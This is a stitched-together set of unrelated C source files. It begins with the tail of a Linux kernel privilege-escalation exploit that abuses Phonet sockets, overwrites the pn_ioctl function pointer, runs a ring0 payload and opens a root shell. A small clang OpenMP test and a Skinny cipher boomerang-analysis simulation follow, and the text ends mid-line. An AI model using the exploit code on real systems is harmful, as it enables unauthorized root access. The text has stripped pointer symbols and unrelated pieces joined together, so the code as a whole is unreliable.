fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char argv[]) { int sock, proto, i, offset = -1; unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, ptr; void map; /* Create a socket to load the module for symbol support / printf("[] Testing Phonet support and CAP_SYS_ADMIN...\n"); sock = socket(PF_PHONET, SOCK_DGRAM, 0); if(sock < 0) { if(errno == EPERM) printf("[] You don't have CAP_SYS_ADMIN.\n"); else printf("[] Failed to open Phonet socket.\n"); return -1; } /* Resolve kernel symbols / printf("[] Resolving kernel symbols...\n"); proto_tab = get_kernel_sym("proto_tab"); pn_ops = get_kernel_sym("phonet_dgram_ops"); pn_ioctl = get_kernel_sym("pn_socket_ioctl"); commit_creds = get_kernel_sym("commit_creds"); prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred"); if(!proto_tab \|\| !commit_creds \|\| !prepare_kernel_cred \|\| !pn_ops \|\| !pn_ioctl) { printf("[] Failed to resolve kernel symbols.\n"); return -1; } / Thanks bla, for reminding me how to do basic math / landing = 0x20000000; proto = 1 << 31 \| (landing - proto_tab) >> 2; / Map it / printf("[] Preparing fake structures...\n"); map = mmap((void )landing, 0x10000, PROT_READ \| PROT_WRITE \| PROT_EXEC, MAP_PRIVATE \| MAP_ANONYMOUS \| MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf("[] Failed to map landing area.\n"); return -1; } /* Pointer to phonet_protocol struct / ptr = (unsigned long )landing; ptr[0] = &ptr[1]; /* phonet_protocol struct / for(i = 1; i < 4; i++) ptr[i] = &ptr[4]; / proto struct / for(i = 4; i < 204; i++) ptr[i] = &ptr[204]; / First, do a test run to calculate any offsets / target = 0x30000000; / module struct / for(i = 204; i < 404; i++) ptr[i] = target; / Map it / map = mmap((void )0x30000000, 0x2000000, PROT_READ \| PROT_WRITE \| PROT_EXEC, MAP_PRIVATE \| MAP_ANONYMOUS \| MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf("[] Failed to map landing area.\n"); return -1; } printf("[] Calculating offsets...\n"); socket(PF_PHONET, SOCK_DGRAM, proto); ptr = 0x30000000; for(i = 0; i < 0x800000; i++) { if(ptr[i] != 0) { offset = i * sizeof(void ); break; } } if(offset == -1) { printf("[] Test run failed.\n"); return -1; } /* MSB of pn_ioctl / target = pn_ops + 10 sizeof(void ) - 1 - offset; / Re-fill the module struct / ptr = (unsigned long )landing; for(i = 204; i < 404; i++) ptr[i] = target; /* Push pn_ioctl fptr into userspace / printf("[] Modifying function pointer...\n"); landing = pn_ioctl; while((landing & 0xff000000) != 0x10000000) { socket(PF_PHONET, SOCK_DGRAM, proto); landing += 0x01000000; } /* Map it / map = mmap((void )(landing & ~0xfff), 0x10000, PROT_READ \| PROT_WRITE \| PROT_EXEC, MAP_PRIVATE \| MAP_ANONYMOUS \| MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf("[] Failed to map payload area.\n"); return -1; } / Copy payload / memcpy((void )landing, &konami, 1024); printf("[] Executing Konami code at ring0...\n"); ioctl(sock, 0, NULL); if(getuid()) { printf("[] Exploit failed to get root.\n"); return -1; } printf("[*] Konami code worked! Have a root shell.\n"); execl("/bin/sh", "/bin/sh", NULL); }
the_stack_data/145693.c	// RUN: %clang -fopenmp -O -g -x c %s -S -disable-output -o %t // Do not crash ;) void foo(void) { #pragma omp critical ; } void bar(void) { foo(); foo(); }
the_stack_data/67325177.c	/* * Date: 11 December 2015 * Contact: Thomas Peyrin - [email protected] / / * Simulation of boomerang analysis for Skinny * Date: March 21, 2020 * Author: Hosein Hadipour * Contact: [email protected] / #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <math.h> #include <omp.h> #include <stdbool.h> // #define DEBUG 1 #define Nthreads 12 // Table that encodes the parameters of the various Skinny versions: // (block size, key size, number of rounds) //Skinny-64-64: 32 rounds //Skinny-64-128: 36 rounds //Skinny-64-192: 40 rounds //Skinny-128-128: 40 rounds //Skinny-128-256: 48 rounds //Skinny-128-384: 56 rounds int versions[6][3] = {{64, 64, 32}, {64, 128, 36}, {64, 192, 40}, {128, 128, 40}, {128, 256, 48}, {128, 384, 56}}; // Packing of data is done as follows (state[i][j] stands for row i and column j): // 0 1 2 3 // 4 5 6 7 // 8 9 10 11 //12 13 14 15 // 4-bit Sbox const unsigned char sbox_4[16] = {12, 6, 9, 0, 1, 10, 2, 11, 3, 8, 5, 13, 4, 14, 7, 15}; const unsigned char sbox_4_inv[16] = {3, 4, 6, 8, 12, 10, 1, 14, 9, 2, 5, 7, 0, 11, 13, 15}; // 8-bit Sbox const unsigned char sbox_8[256] = {0x65, 0x4c, 0x6a, 0x42, 0x4b, 0x63, 0x43, 0x6b, 0x55, 0x75, 0x5a, 0x7a, 0x53, 0x73, 0x5b, 0x7b, 0x35, 0x8c, 0x3a, 0x81, 0x89, 0x33, 0x80, 0x3b, 0x95, 0x25, 0x98, 0x2a, 0x90, 0x23, 0x99, 0x2b, 0xe5, 0xcc, 0xe8, 0xc1, 0xc9, 0xe0, 0xc0, 0xe9, 0xd5, 0xf5, 0xd8, 0xf8, 0xd0, 0xf0, 0xd9, 0xf9, 0xa5, 0x1c, 0xa8, 0x12, 0x1b, 0xa0, 0x13, 0xa9, 0x05, 0xb5, 0x0a, 0xb8, 0x03, 0xb0, 0x0b, 0xb9, 0x32, 0x88, 0x3c, 0x85, 0x8d, 0x34, 0x84, 0x3d, 0x91, 0x22, 0x9c, 0x2c, 0x94, 0x24, 0x9d, 0x2d, 0x62, 0x4a, 0x6c, 0x45, 0x4d, 0x64, 0x44, 0x6d, 0x52, 0x72, 0x5c, 0x7c, 0x54, 0x74, 0x5d, 0x7d, 0xa1, 0x1a, 0xac, 0x15, 0x1d, 0xa4, 0x14, 0xad, 0x02, 0xb1, 0x0c, 0xbc, 0x04, 0xb4, 0x0d, 0xbd, 0xe1, 0xc8, 0xec, 0xc5, 0xcd, 0xe4, 0xc4, 0xed, 0xd1, 0xf1, 0xdc, 0xfc, 0xd4, 0xf4, 0xdd, 0xfd, 0x36, 0x8e, 0x38, 0x82, 0x8b, 0x30, 0x83, 0x39, 0x96, 0x26, 0x9a, 0x28, 0x93, 0x20, 0x9b, 0x29, 0x66, 0x4e, 0x68, 0x41, 0x49, 0x60, 0x40, 0x69, 0x56, 0x76, 0x58, 0x78, 0x50, 0x70, 0x59, 0x79, 0xa6, 0x1e, 0xaa, 0x11, 0x19, 0xa3, 0x10, 0xab, 0x06, 0xb6, 0x08, 0xba, 0x00, 0xb3, 0x09, 0xbb, 0xe6, 0xce, 0xea, 0xc2, 0xcb, 0xe3, 0xc3, 0xeb, 0xd6, 0xf6, 0xda, 0xfa, 0xd3, 0xf3, 0xdb, 0xfb, 0x31, 0x8a, 0x3e, 0x86, 0x8f, 0x37, 0x87, 0x3f, 0x92, 0x21, 0x9e, 0x2e, 0x97, 0x27, 0x9f, 0x2f, 0x61, 0x48, 0x6e, 0x46, 0x4f, 0x67, 0x47, 0x6f, 0x51, 0x71, 0x5e, 0x7e, 0x57, 0x77, 0x5f, 0x7f, 0xa2, 0x18, 0xae, 0x16, 0x1f, 0xa7, 0x17, 0xaf, 0x01, 0xb2, 0x0e, 0xbe, 0x07, 0xb7, 0x0f, 0xbf, 0xe2, 0xca, 0xee, 0xc6, 0xcf, 0xe7, 0xc7, 0xef, 0xd2, 0xf2, 0xde, 0xfe, 0xd7, 0xf7, 0xdf, 0xff}; const unsigned char sbox_8_inv[256] = {0xac, 0xe8, 0x68, 0x3c, 0x6c, 0x38, 0xa8, 0xec, 0xaa, 0xae, 0x3a, 0x3e, 0x6a, 0x6e, 0xea, 0xee, 0xa6, 0xa3, 0x33, 0x36, 0x66, 0x63, 0xe3, 0xe6, 0xe1, 0xa4, 0x61, 0x34, 0x31, 0x64, 0xa1, 0xe4, 0x8d, 0xc9, 0x49, 0x1d, 0x4d, 0x19, 0x89, 0xcd, 0x8b, 0x8f, 0x1b, 0x1f, 0x4b, 0x4f, 0xcb, 0xcf, 0x85, 0xc0, 0x40, 0x15, 0x45, 0x10, 0x80, 0xc5, 0x82, 0x87, 0x12, 0x17, 0x42, 0x47, 0xc2, 0xc7, 0x96, 0x93, 0x03, 0x06, 0x56, 0x53, 0xd3, 0xd6, 0xd1, 0x94, 0x51, 0x04, 0x01, 0x54, 0x91, 0xd4, 0x9c, 0xd8, 0x58, 0x0c, 0x5c, 0x08, 0x98, 0xdc, 0x9a, 0x9e, 0x0a, 0x0e, 0x5a, 0x5e, 0xda, 0xde, 0x95, 0xd0, 0x50, 0x05, 0x55, 0x00, 0x90, 0xd5, 0x92, 0x97, 0x02, 0x07, 0x52, 0x57, 0xd2, 0xd7, 0x9d, 0xd9, 0x59, 0x0d, 0x5d, 0x09, 0x99, 0xdd, 0x9b, 0x9f, 0x0b, 0x0f, 0x5b, 0x5f, 0xdb, 0xdf, 0x16, 0x13, 0x83, 0x86, 0x46, 0x43, 0xc3, 0xc6, 0x41, 0x14, 0xc1, 0x84, 0x11, 0x44, 0x81, 0xc4, 0x1c, 0x48, 0xc8, 0x8c, 0x4c, 0x18, 0x88, 0xcc, 0x1a, 0x1e, 0x8a, 0x8e, 0x4a, 0x4e, 0xca, 0xce, 0x35, 0x60, 0xe0, 0xa5, 0x65, 0x30, 0xa0, 0xe5, 0x32, 0x37, 0xa2, 0xa7, 0x62, 0x67, 0xe2, 0xe7, 0x3d, 0x69, 0xe9, 0xad, 0x6d, 0x39, 0xa9, 0xed, 0x3b, 0x3f, 0xab, 0xaf, 0x6b, 0x6f, 0xeb, 0xef, 0x26, 0x23, 0xb3, 0xb6, 0x76, 0x73, 0xf3, 0xf6, 0x71, 0x24, 0xf1, 0xb4, 0x21, 0x74, 0xb1, 0xf4, 0x2c, 0x78, 0xf8, 0xbc, 0x7c, 0x28, 0xb8, 0xfc, 0x2a, 0x2e, 0xba, 0xbe, 0x7a, 0x7e, 0xfa, 0xfe, 0x25, 0x70, 0xf0, 0xb5, 0x75, 0x20, 0xb0, 0xf5, 0x22, 0x27, 0xb2, 0xb7, 0x72, 0x77, 0xf2, 0xf7, 0x2d, 0x79, 0xf9, 0xbd, 0x7d, 0x29, 0xb9, 0xfd, 0x2b, 0x2f, 0xbb, 0xbf, 0x7b, 0x7f, 0xfb, 0xff}; // ShiftAndSwitchRows permutation const unsigned char P[16] = {0, 1, 2, 3, 7, 4, 5, 6, 10, 11, 8, 9, 13, 14, 15, 12}; const unsigned char P_inv[16] = {0, 1, 2, 3, 5, 6, 7, 4, 10, 11, 8, 9, 15, 12, 13, 14}; // Tweakey permutation const unsigned char TWEAKEY_P[16] = {9, 15, 8, 13, 10, 14, 12, 11, 0, 1, 2, 3, 4, 5, 6, 7}; const unsigned char TWEAKEY_P_inv[16] = {8, 9, 10, 11, 12, 13, 14, 15, 2, 0, 4, 7, 6, 3, 5, 1}; // round constants const unsigned char RC[62] = { 0x01, 0x03, 0x07, 0x0F, 0x1F, 0x3E, 0x3D, 0x3B, 0x37, 0x2F, 0x1E, 0x3C, 0x39, 0x33, 0x27, 0x0E, 0x1D, 0x3A, 0x35, 0x2B, 0x16, 0x2C, 0x18, 0x30, 0x21, 0x02, 0x05, 0x0B, 0x17, 0x2E, 0x1C, 0x38, 0x31, 0x23, 0x06, 0x0D, 0x1B, 0x36, 0x2D, 0x1A, 0x34, 0x29, 0x12, 0x24, 0x08, 0x11, 0x22, 0x04, 0x09, 0x13, 0x26, 0x0c, 0x19, 0x32, 0x25, 0x0a, 0x15, 0x2a, 0x14, 0x28, 0x10, 0x20}; FILE fic; void init_prng(int offset) { //int initial_seed = 0x5EC7F2B0; //int initial_seed = 0x30051991; My birthday! unsigned int initial_seed = 10time(NULL) + 11offset; srand(initial_seed); // Initialization, should only be called once. int r = rand(); printf("[+] PRNG initialized to 0x%08X\n", initial_seed); } void display_matrix(unsigned char state[4][4], int ver) { int i; unsigned char input[16]; if (versions[ver][0] == 64) { for (i = 0; i < 8; i++) input[i] = ((state[(2 * i) >> 2][(2 * i) & 0x3] & 0xF) << 4) \| (state[(2 * i + 1) >> 2][(2 * i + 1) & 0x3] & 0xF); for (i = 0; i < 8; i++) fprintf(fic, "%02x", input[i]); } else if (versions[ver][0] == 128) { for (i = 0; i < 16; i++) input[i] = state[i >> 2][i & 0x3] & 0xFF; for (i = 0; i < 16; i++) fprintf(fic, "%02x", input[i]); } } void display_cipher_state(unsigned char state[4][4], unsigned char keyCells[3][4][4], int ver) { int k; fprintf(fic, "S = "); display_matrix(state, ver); for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { fprintf(fic, " - TK%i = ", k + 1); display_matrix(keyCells[k], ver); } } // Extract and apply the subtweakey to the internal state (must be the two top rows XORed together), then update the tweakey state void AddKey(unsigned char state[4][4], unsigned char keyCells[3][4][4], int ver) { int i, j, k; unsigned char pos; unsigned char keyCells_tmp[3][4][4]; // apply the subtweakey to the internal state for (i = 0; i <= 1; i++) { for (j = 0; j < 4; j++) { state[i][j] ^= keyCells[0][i][j]; if (2 * versions[ver][0] == versions[ver][1]) state[i][j] ^= keyCells[1][i][j]; else if (3 * versions[ver][0] == versions[ver][1]) state[i][j] ^= keyCells[1][i][j] ^ keyCells[2][i][j]; } } // update the subtweakey states with the permutation for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { //application of the TWEAKEY permutation pos = TWEAKEY_P[j + 4 * i]; keyCells_tmp[k][i][j] = keyCells[k][pos >> 2][pos & 0x3]; } } } // update the subtweakey states with the LFSRs for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { for (i = 0; i <= 1; i++) { for (j = 0; j < 4; j++) { //application of LFSRs for TK updates if (k == 1) { if (versions[ver][0] == 64) keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] << 1) & 0xE) ^ ((keyCells_tmp[k][i][j] >> 3) & 0x1) ^ ((keyCells_tmp[k][i][j] >> 2) & 0x1); else keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] << 1) & 0xFE) ^ ((keyCells_tmp[k][i][j] >> 7) & 0x01) ^ ((keyCells_tmp[k][i][j] >> 5) & 0x01); } else if (k == 2) { if (versions[ver][0] == 64) keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] >> 1) & 0x7) ^ ((keyCells_tmp[k][i][j]) & 0x8) ^ ((keyCells_tmp[k][i][j] << 3) & 0x8); else keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] >> 1) & 0x7F) ^ ((keyCells_tmp[k][i][j] << 7) & 0x80) ^ ((keyCells_tmp[k][i][j] << 1) & 0x80); } } } } for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { keyCells[k][i][j] = keyCells_tmp[k][i][j]; } } } } // Extract and apply the subtweakey to the internal state (must be the two top rows XORed together), then update the tweakey state (inverse function} void AddKey_inv(unsigned char state[4][4], unsigned char keyCells[3][4][4], int ver) { int i, j, k; unsigned char pos; unsigned char keyCells_tmp[3][4][4]; // update the subtweakey states with the permutation for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { //application of the inverse TWEAKEY permutation pos = TWEAKEY_P_inv[j + 4 * i]; keyCells_tmp[k][i][j] = keyCells[k][pos >> 2][pos & 0x3]; } } } // update the subtweakey states with the LFSRs for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { for (i = 2; i <= 3; i++) { for (j = 0; j < 4; j++) { //application of inverse LFSRs for TK updates if (k == 1) { if (versions[ver][0] == 64) keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] >> 1) & 0x7) ^ ((keyCells_tmp[k][i][j] << 3) & 0x8) ^ ((keyCells_tmp[k][i][j]) & 0x8); else keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] >> 1) & 0x7F) ^ ((keyCells_tmp[k][i][j] << 7) & 0x80) ^ ((keyCells_tmp[k][i][j] << 1) & 0x80); } else if (k == 2) { if (versions[ver][0] == 64) keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] << 1) & 0xE) ^ ((keyCells_tmp[k][i][j] >> 3) & 0x1) ^ ((keyCells_tmp[k][i][j] >> 2) & 0x1); else keyCells_tmp[k][i][j] = ((keyCells_tmp[k][i][j] << 1) & 0xFE) ^ ((keyCells_tmp[k][i][j] >> 7) & 0x01) ^ ((keyCells_tmp[k][i][j] >> 5) & 0x01); } } } } for (k = 0; k < (int)(versions[ver][1] / versions[ver][0]); k++) { for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { keyCells[k][i][j] = keyCells_tmp[k][i][j]; } } } // apply the subtweakey to the internal state for (i = 0; i <= 1; i++) { for (j = 0; j < 4; j++) { state[i][j] ^= keyCells[0][i][j]; if (2 * versions[ver][0] == versions[ver][1]) state[i][j] ^= keyCells[1][i][j]; else if (3 * versions[ver][0] == versions[ver][1]) state[i][j] ^= keyCells[1][i][j] ^ keyCells[2][i][j]; } } } // Apply the constants: using a LFSR counter on 6 bits, we XOR the 6 bits to the first 6 bits of the internal state void AddConstants(unsigned char state[4][4], int r) { state[0][0] ^= (RC[r] & 0xf); state[1][0] ^= ((RC[r] >> 4) & 0x3); state[2][0] ^= 0x2; } // apply the 4-bit Sbox void SubCell4(unsigned char state[4][4]) { int i, j; for (i = 0; i < 4; i++) for (j = 0; j < 4; j++) state[i][j] = sbox_4[state[i][j]]; } // apply the 4-bit inverse Sbox void SubCell4_inv(unsigned char state[4][4]) { int i, j; for (i = 0; i < 4; i++) for (j = 0; j < 4; j++) state[i][j] = sbox_4_inv[state[i][j]]; } // apply the 8-bit Sbox void SubCell8(unsigned char state[4][4]) { int i, j; for (i = 0; i < 4; i++) for (j = 0; j < 4; j++) state[i][j] = sbox_8[state[i][j]]; } // apply the 8-bit inverse Sbox void SubCell8_inv(unsigned char state[4][4]) { int i, j; for (i = 0; i < 4; i++) for (j = 0; j < 4; j++) state[i][j] = sbox_8_inv[state[i][j]]; } // Apply the ShiftRows function void ShiftRows(unsigned char state[4][4]) { int i, j, pos; unsigned char state_tmp[4][4]; for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { //application of the ShiftRows permutation pos = P[j + 4 * i]; state_tmp[i][j] = state[pos >> 2][pos & 0x3]; } } for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { state[i][j] = state_tmp[i][j]; } } } // Apply the inverse ShiftRows function void ShiftRows_inv(unsigned char state[4][4]) { int i, j, pos; unsigned char state_tmp[4][4]; for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { //application of the inverse ShiftRows permutation pos = P_inv[j + 4 * i]; state_tmp[i][j] = state[pos >> 2][pos & 0x3]; } } for (i = 0; i < 4; i++) { for (j = 0; j < 4; j++) { state[i][j] = state_tmp[i][j]; } } } // Apply the linear diffusion matrix //M = //1 0 1 1 //1 0 0 0 //0 1 1 0 //1 0 1 0 void MixColumn(unsigned char state[4][4]) { int j; unsigned char temp; for (j = 0; j < 4; j++) { state[1][j] ^= state[2][j]; state[2][j] ^= state[0][j]; state[3][j] ^= state[2][j]; temp = state[3][j]; state[3][j] = state[2][j]; state[2][j] = state[1][j]; state[1][j] = state[0][j]; state[0][j] = temp; } } // Apply the inverse linear diffusion matrix void MixColumn_inv(unsigned char state[4][4]) { int j; unsigned char temp; for (j = 0; j < 4; j++) { temp = state[3][j]; state[3][j] = state[0][j]; state[0][j] = state[1][j]; state[1][j] = state[2][j]; state[2][j] = temp; state[3][j] ^= state[2][j]; state[2][j] ^= state[0][j]; state[1][j] ^= state[2][j]; } } // decryption function of Skinny void dec(unsigned char input, const unsigned char userkey, int ver, int r) { unsigned char state[4][4]; unsigned char dummy[4][4] = {{0}}; unsigned char keyCells[3][4][4]; int i; memset(keyCells, 0, 48); for (i = 0; i < 16; i++) { if (versions[ver][0] == 64) { if (i & 1) { state[i >> 2][i & 0x3] = input[i >> 1] & 0xF; keyCells[0][i >> 2][i & 0x3] = userkey[i >> 1] & 0xF; if (versions[ver][1] >= 128) keyCells[1][i >> 2][i & 0x3] = userkey[(i + 16) >> 1] & 0xF; if (versions[ver][1] >= 192) keyCells[2][i >> 2][i & 0x3] = userkey[(i + 32) >> 1] & 0xF; } else { state[i >> 2][i & 0x3] = (input[i >> 1] >> 4) & 0xF; keyCells[0][i >> 2][i & 0x3] = (userkey[i >> 1] >> 4) & 0xF; if (versions[ver][1] >= 128) keyCells[1][i >> 2][i & 0x3] = (userkey[(i + 16) >> 1] >> 4) & 0xF; if (versions[ver][1] >= 192) keyCells[2][i >> 2][i & 0x3] = (userkey[(i + 32) >> 1] >> 4) & 0xF; } } else if (versions[ver][0] == 128) { state[i >> 2][i & 0x3] = input[i] & 0xFF; keyCells[0][i >> 2][i & 0x3] = userkey[i] & 0xFF; if (versions[ver][1] >= 256) keyCells[1][i >> 2][i & 0x3] = userkey[i + 16] & 0xFF; if (versions[ver][1] >= 384) keyCells[2][i >> 2][i & 0x3] = userkey[i + 32] & 0xFF; } } for (i = r - 1; i >= 0; i--) { AddKey(dummy, keyCells, ver); } #ifdef DEBUG fprintf(fic, "DEC - initial state: "); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif for (i = r - 1; i >= 0; i--) { MixColumn_inv(state); #ifdef DEBUG fprintf(fic, "DEC - round %.2i - after MixColumn_inv: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif ShiftRows_inv(state); #ifdef DEBUG fprintf(fic, "DEC - round %.2i - after ShiftRows_inv: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif AddKey_inv(state, keyCells, ver); #ifdef DEBUG fprintf(fic, "DEC - round %.2i - after AddKey_inv: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif AddConstants(state, i); #ifdef DEBUG fprintf(fic, "DEC - round %.2i - after AddConstants_inv: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif if (versions[ver][0] == 64) SubCell4_inv(state); else SubCell8_inv(state); #ifdef DEBUG fprintf(fic, "DEC - round %.2i - after SubCell_inv: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif } #ifdef DEBUG fprintf(fic, "DEC - final state: "); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif if (versions[ver][0] == 64) { for (i = 0; i < 8; i++) input[i] = ((state[(2 * i) >> 2][(2 * i) & 0x3] & 0xF) << 4) \| (state[(2 * i + 1) >> 2][(2 * i + 1) & 0x3] & 0xF); } else if (versions[ver][0] == 128) { for (i = 0; i < 16; i++) input[i] = state[i >> 2][i & 0x3] & 0xFF; } } // encryption function of Skinny void enc(unsigned char input, const unsigned char userkey, int ver, int r) { unsigned char state[4][4]; unsigned char keyCells[3][4][4]; int i; memset(keyCells, 0, 48); for (i = 0; i < 16; i++) { if (versions[ver][0] == 64) { if (i & 1) { state[i >> 2][i & 0x3] = input[i >> 1] & 0xF; keyCells[0][i >> 2][i & 0x3] = userkey[i >> 1] & 0xF; if (versions[ver][1] >= 128) keyCells[1][i >> 2][i & 0x3] = userkey[(i + 16) >> 1] & 0xF; if (versions[ver][1] >= 192) keyCells[2][i >> 2][i & 0x3] = userkey[(i + 32) >> 1] & 0xF; } else { state[i >> 2][i & 0x3] = (input[i >> 1] >> 4) & 0xF; keyCells[0][i >> 2][i & 0x3] = (userkey[i >> 1] >> 4) & 0xF; if (versions[ver][1] >= 128) keyCells[1][i >> 2][i & 0x3] = (userkey[(i + 16) >> 1] >> 4) & 0xF; if (versions[ver][1] >= 192) keyCells[2][i >> 2][i & 0x3] = (userkey[(i + 32) >> 1] >> 4) & 0xF; } } else if (versions[ver][0] == 128) { state[i >> 2][i & 0x3] = input[i] & 0xFF; keyCells[0][i >> 2][i & 0x3] = userkey[i] & 0xFF; if (versions[ver][1] >= 256) keyCells[1][i >> 2][i & 0x3] = userkey[i + 16] & 0xFF; if (versions[ver][1] >= 384) keyCells[2][i >> 2][i & 0x3] = userkey[i + 32] & 0xFF; } } #ifdef DEBUG fprintf(fic, "ENC - initial state: "); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif for (i = 0; i < r; i++) { if (versions[ver][0] == 64) SubCell4(state); else SubCell8(state); #ifdef DEBUG fprintf(fic, "ENC - round %.2i - after SubCell: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif AddConstants(state, i); #ifdef DEBUG fprintf(fic, "ENC - round %.2i - after AddConstants: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif AddKey(state, keyCells, ver); #ifdef DEBUG fprintf(fic, "ENC - round %.2i - after AddKey: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif ShiftRows(state); #ifdef DEBUG fprintf(fic, "ENC - round %.2i - after ShiftRows: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif MixColumn(state); #ifdef DEBUG fprintf(fic, "ENC - round %.2i - after MixColumn: ", i); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif } //The last subtweakey should not be added #ifdef DEBUG fprintf(fic, "ENC - final state: "); display_cipher_state(state, keyCells, ver); fprintf(fic, "\n"); #endif if (versions[ver][0] == 64) { for (i = 0; i < 8; i++) input[i] = ((state[(2 * i) >> 2][(2 * i) & 0x3] & 0xF) << 4) \| (state[(2 * i + 1) >> 2][(2 * i + 1) & 0x3] & 0xF); } else if (versions[ver][0] == 128) { for (i = 0; i < 16; i++) input[i] = state[i >> 2][i & 0x3] & 0xFF; } } // generate test vectors for all the versions of Skinny void TestVectors(int ver) { unsigned char p[16]; unsigned char c[16]; unsigned char k[48]; int n; for (n = 1; n < 10; n++) { int i; for (i = 0; i < (versions[ver][0] >> 3); i++) c[i] = p[i] = rand() & 0xff; for (i = 0; i < (versions[ver][0] >> 3); i++) printf("%02x", p[i]); printf("\n"); for (i = 0; i < (versions[ver][1] >> 3); i++) k[i] = rand() & 0xff; fprintf(fic, "TK = "); for (i = 0; i < (versions[ver][1] >> 3); i++) fprintf(fic, "%02x", k[i]); fprintf(fic, "\n"); fprintf(fic, "P = "); for (i = 0; i < (versions[ver][0] >> 3); i++) fprintf(fic, "%02x", p[i]); fprintf(fic, "\n"); enc(c, k, ver, 10); fprintf(fic, "C = "); for (i = 0; i < (versions[ver][0] >> 3); i++) fprintf(fic, "%02x", c[i]); fprintf(fic, "\n"); dec(c, k, ver, 10); fprintf(fic, "P' = "); for (i = 0; i < (versions[ver][0] >> 3); i++) fprintf(fic, "%02x", c[i]); fprintf(fic, "\n\n"); } } int boomerang(int r, int ver, int N3, unsigned char dp, unsigned char dc, unsigned char dk1, unsigned char dk2) { int i; unsigned char p1[16], p2[16]; unsigned char c3[16], c4[16]; unsigned char k1[48], k2[48], k3[48], k4[48]; // randomly choose k1 for (i = 0; i < (versions[ver][1] >> 3); i++) k1[i] = rand() & 0xff; // derive k2 for (i = 0; i < (versions[ver][1] >> 3); i++) k2[i] = k1[i] ^ dk1[i]; // derive k3 for (i = 0; i < (versions[ver][1] >> 3); i++) k3[i] = k1[i] ^ dk2[i]; // derive k4 for (i = 0; i < (versions[ver][1] >> 3); i++) k4[i] = k2[i] ^ dk2[i]; int num = 0; for (int t = 0; t < N3; t++) { // randomly choose p1 for (i = 0; i < (versions[ver][0] >> 3); i++) p1[i] = (rand() ^ c3[i]) & 0xff; // derive p2 for (i = 0; i < (versions[ver][0] >> 3); i++) p2[i] = p1[i] ^ dp[i]; enc(p1, k1, ver, r); enc(p2, k2, ver, r); // derive c3 for (i = 0; i < (versions[ver][0] >> 3); i++) c3[i] = p1[i] ^ dc[i]; // derive c4 for (i = 0; i < (versions[ver][0] >> 3); i++) c4[i] = p2[i] ^ dc[i]; dec(c3, k3, ver, r); dec(c4, k4, ver, r); bool flag = 1; for (i = 0; i < (versions[ver][0] >> 3); i++) if ((c3[i] ^ c4[i]) != dp[i]) flag = 0; if (flag) { num++; } } return num; } double send_boomerangs(int R, int ver, int N1, int N2, int N3, unsigned char dp, unsigned char dc, unsigned char dk1, unsigned char dk2) { // Parallel execution int NUM[N1]; int counter; printf("#Rounds: %d rounds\n", R); printf("#Total Queries = (#Parallel threads) * (#Bunches per thread) * (#Queries per bunch) = %d * %d * %d = 2^(%f)\n", N1, N2, N3, log(N1 * N2 * N3) / log(2)); clock_t clock_timer; double wall_timer; clock_timer = clock(); wall_timer = omp_get_wtime(); omp_set_num_threads(N1); #pragma omp parallel for for (counter = 0; counter < N1; counter++) { int num = 0; int ID = omp_get_thread_num(); init_prng(ID); for (int j = 0; j < N2; j++) { num += boomerang(R, ver, N3, dp, dc, dk1, dk2); } NUM[ID] = num; } printf("%s: %0.4f\n", "time on clock", (double)(clock() - clock_timer) / CLOCKS_PER_SEC); printf("%s: %0.4f\n", "time on wall", omp_get_wtime() - wall_timer); double sum = 0; double sum_temp = 1; for (int i = 0; i < N1; i++) sum += NUM[i]; printf("sum = %f\n", sum); sum_temp = (double)(N1 * N2 * N3) / sum; printf("2^(-%f)\n\n", log(sum_temp) / log(2)); printf("##########################\n"); return sum; } void convert_hexstr_to_statearray(int ver, char hex_str[], unsigned char dx[16]) { for (int i = 0; i < (versions[ver][0] >> 3); i++) { char hex[2]; hex[0] = hex_str[2 * i]; hex[1] = hex_str[2 * i + 1]; dx[i] = (unsigned char)(strtol(hex, NULL, 16) & 0xff); } } void convert_hexstr_to_tweakarray(int ver, char hex_str[], unsigned char dt[48]) { for (int i = 0; i < (versions[ver][1] >> 3); i++) { char hex[2]; hex[0] = hex_str[2 * i]; hex[1] = hex_str[2 * i + 1]; dt[i] = (unsigned 